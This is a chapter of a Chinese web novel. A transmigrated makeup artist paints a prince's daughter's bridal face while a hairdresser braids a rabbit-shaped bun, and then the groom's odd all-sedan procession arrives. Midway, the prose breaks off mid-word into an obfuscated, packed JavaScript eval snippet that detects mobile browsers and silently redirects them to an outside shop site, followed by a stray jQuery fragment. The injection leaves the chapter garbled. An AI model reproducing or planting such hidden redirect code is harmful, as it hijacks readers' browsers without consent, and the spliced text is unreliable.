44. 第 44 章
    新娘妆就是要喜庆,第一眼夺目。

    二小姐喜好清淡素雅,虽是文静,但在成亲之日就显得过于苍白了。所以沈瑾打算以桃红为底色,画一副娇嫩的新婚正妆。

    梳妆台上,各样胭脂水粉已经被提前摆好了,瓶瓶罐罐整齐地排列,一看便知是二小姐提前细心安排好了的。

    沈瑾挑了一瓶清透水润的桃红面脂打底,揉在秋娘肌肤上化开。

    面脂看瓶子是从北市最大的胭脂店,胭脂轩,买的,应该是从都城采购来的上品好货,这样的面脂一小瓶便要十两银子,滋润效果特别好。

    温柔的新月眉比较适合二小姐的气质,不似柳叶眉那般带着飘零,也不似平眉那般普通,新月眉既略显活泼、又温柔,符合新婚当夜的气氛。

    沈瑾小拇指往桌上一翘,挑起一根细长的刷子,沾了点淡棕眉粉,往二小姐额间点涂。

    吱呀———

    “小姐,给您编发的张娘子到了,我把人带过来。”

    叶果火急火燎地推开房门,打断了正在化妆的沈瑾。她一把扯过身旁的妇人,推到二小姐面前。

    “小姐,外头还有一堆活儿,奴婢先告退,请小姐恕罪。”叶果语速飞快地说完,行了个礼,就往院里跑去。

    “小丫去打包后门的······”

    隔着房门还能听见叶果大声指挥下人婆子的声音,嗓子都有些嘶哑了。

    编发的张妇,穿了一身朴素的灰蓝色裹叠裙,外套一件束袖口的外衣,显得人干净利落,她擅长给人编发,自己却只是用一张蓝色的布巾子包了头,手腕上简单套了几根线绳圈。

    “小姐您脸庞生得细,适合做精巧的发髻······”

    “嗯好,你们俩一起吧,时间快来不及了。”二小姐点点头,示意认可张妇给她编发。

    王府里没有常备编发娘子,平日里都是院里的丫鬟婆子顺带着编两手,若是碰见什么大场合,便去外头临时聘那有名的编发妇人。

    张妇是楚州城里小有名气的,算不得最出名,但手艺细致,擅长精巧发型。

    一老早,叶果就带了银钱去张妇家里聘请了她,要她今日来府里给二小姐编发。

    张妇拿起梳子,沾了沾杏花油,三两下编出发髻的雏形来。

    木梳子和杏花油都是张妇自己带的。

    梳子有很多种,二小姐的头发细软易断,张妇用的是檀香木制的细齿的小头梳子,这样又能梳通头发,又不会扯断。

    杏花油是用来抹平细小碎发的,显得发髻干净,就如同现代的发胶。

    箱子里还有各种头油、绸丝团、梳子、假髻等物件。

    “听说小姐属兔儿,我给您编个天宫仙兔的发髻······”

    张妇心思讨巧,提前向叶果打听了小姐的属相,又见小姐发丝易断,便没有编紧辫,而是用硬梗的绸丝掺进去,这样编出来的仙兔髻,才灵巧成型。

    她去过很多人家编发,不是所有的年轻小姐都得一头乌黑亮丽的好发,楚王府的二小姐发质算好梳的。

    “小姐瞧,这般可行?”

    秋娘捏着银镜柄,看着编好的兔儿髻,欢喜地点了点头,张妇的手艺果然名不虚传。

    这样的仙兔髻,她还没编过呢,听说是江南那边流行的款式,挺适合她的气质。

    张妇又问她用什么样的珠钗。

    二小姐的梳妆台上,摆了不少盒子,里头都是簪子、首饰,有旧有新,都是这些年攒下来的。

    小姐的喜欢风格很明显,首饰盒子里都是素色的翠玉珠宝。

    但今天是成婚,必不可能用这些绿白调的首饰,二小姐便让张妇自己去盒中挑。

    张妇翻了一遍整个盒子,好不容易在最底下,挑出几根粉花步摇插在发髻两端,又寻了带粉色的发冠戴在前头,最后实在是找不出粉色的钗子,便搭了几块白玉花钿压在两鬓。

    仙兔发髻配上粉白首饰,显得格外俏生又贵气。

    尤其妙在,和沈瑾画的妆相当搭配。

    二小姐见她有这般好手艺,又合得上瑾姐儿的妆容,欢喜得很,当场赏了她半吊子铜钱,还问她愿不愿意留在院里,以后都给她编发。

    若是方便,也可以跟着一起去都城,做她的陪嫁。

    张妇哪有不愿意的理儿,高兴得嘴角都笑开了,当即就应下。

    给谁编发不是编呢,要知道这可是楚王府,皇亲国戚呐!

    而且这二小姐还要嫁往都城去,以后她就跟着去见识见识那富贵繁华地儿喽!

    张妇喜得立刻跪下来行大礼。

    恰巧,此时沈瑾的妆也画完了。

    桃红春风拂面,眉间更比花娇。

    二小姐的新婚妆,完美搞定,不负我的手艺啊。

    沈瑾畅快地舒了一口气,她的后背衣裳都已经被打湿了,不为啥,就是累的。

    时间赶,又要画出最好的妆容,本就全神贯注、极耗精力,还要配合编发的张妇。

    两个人围绕在小姐身旁,就这么点地儿,免不得磕磕碰碰。

    沈瑾这人大度,没有挤兑张妇,而是把大块地方都留给张妇发挥,自己见缝插针地画两笔。

    从外头望来,不知道的人还以为沈瑾在跳探戈呢。

    前进一步,画一笔,退两步,再画一笔,左转一圈,画一笔,右滑一半,画一笔,挑高伸手,画一下,往低弯腰,画一笔······

    累得沈瑾,气喘吁吁,满头大汗,总算是完成了。

    二小姐也不是瞎子,知道沈瑾很辛苦,开口说道:“瑾姐儿,你辛苦了,画得很好,我喜欢,你快快回去换身衣裳,别冻着了。”

    二小姐还记得沈瑾的身子易感染风寒。

    沈瑾听了,心里暖暖的,简单行了礼,便抱起箱子,离开正厢房。

    因着沈瑾也算是二小姐院里的老人了,张妇是完全新来的,二小姐便托沈瑾带领张妇去她的房里。

    张妇是个明事理的,晓得刚才沈瑾给她腾了地,她才有表现的机会。

    “多谢瑾妹妹,我甚是感激,今日瑾妹妹忙,改日我请你吃馆子。”

    张

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314961|148149||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妇刚出正厢房的门,便一脸庆幸地谢谢沈瑾,还说以后沈瑾的头发都由她编。

    送走了张妇,沈瑾赶紧往房里回。

    刚才一阵风吹来,后背打湿的衣裳,凉得很,她都打了个哆嗦。

    虽然这具身体已经被她养回来许多,但毕竟十年的病根,可不能乱造。

    开春还不太暖和,再凉下去,十有八九得感冒。

    就古代这医疗条件,风寒基本难救。

    快步走在抄手游廊里,路过院子,还看见叶果在那指挥婆子搬包裹行李,叶果急得也满头大汗,嗓子比刚才更嘶哑。

    沈瑾摇摇头,想着叶果真的挺辛苦,自己赶紧回去洗漱换衣服,好来接手指挥,让叶果回去休息会。

    叶果起得比她还早,甚至可能压根就没睡。

    二小姐院里就属叶果威望最高,然后便是沈瑾。沈瑾来了二小姐院里这些时日,逐渐混成了院里另一个核心。其他的丫鬟婆子,都知道,有事儿找不到叶果就听沈瑾的。

    她若不去接替叶果,今天过后,叶果怕是得生病倒下。

    “快快快!外头迎亲的车马已经到了,未来姑爷在府外等着呢。”

    大夫人身边的丫鬟小鱼,着急忙慌地跑过来,催促着说道。

    上次就是这个小鱼丫鬟来给二小姐送的过年汤圆,得了不少赏钱。这次一看状况不对,她连忙赶来通报。

    这句话像投进水里的大石头,院子里瞬间炸了锅。

    “啊啊啊啊小姐的嫁妆单子理好了吗?”

    “那边吃食都打包了吗?”

    “快快,小姐喜服呢?”

    来不及了、来不及了,叶果忙得跳脚,嘴里长出了一圈水泡。

    好半天,众人才忙完,赶紧推着二小姐出门。

    王府外头,楚王和大夫人都在迎接来往宾客。

    热闹非凡,却尴尬丝丝蔓延。

    一方面是因为王府的喜庆装饰。参宴的宾客都不是瞎子傻子,大家也都是昨夜留宿于此的,十分清楚,昨日大姑娘出嫁的布置是什么样的。

    本以为,前后连着嫁女已经够荒唐了,婚礼装饰多少总得改变点吧,没想到这楚王一条路走到黑啊,是真真一点都不带变的。

    昨天什么布置,今天就什么布置。一个场地用两回,可真会省事啊······

    在场宾客心里无一不感叹。

    大家都是人精,不想得罪人,自然不会在面上表现出来,互相对视一眼后,大家便又开始哈哈笑起来,气氛热烈,你好我好的,改口夸今天日头高照,天气真好。

    另一方面,则是因为王府门口的迎亲队伍。

    国公府派来迎亲的队伍与常规不同,没有男方新郎的高头大马,整个队伍全是轿子。

    “我们公子身份贵重,乃金贵身躯,磕着碰着,你们负责吗?!”

    刚有人露出疑惑询问的表情,国公府的几个亲兵便开始骂骂咧咧,指着人鼻子质问。

    这下谁也不敢说话了,生怕惹祸上身,国公府多厉害啊,他们可担不起这个责任。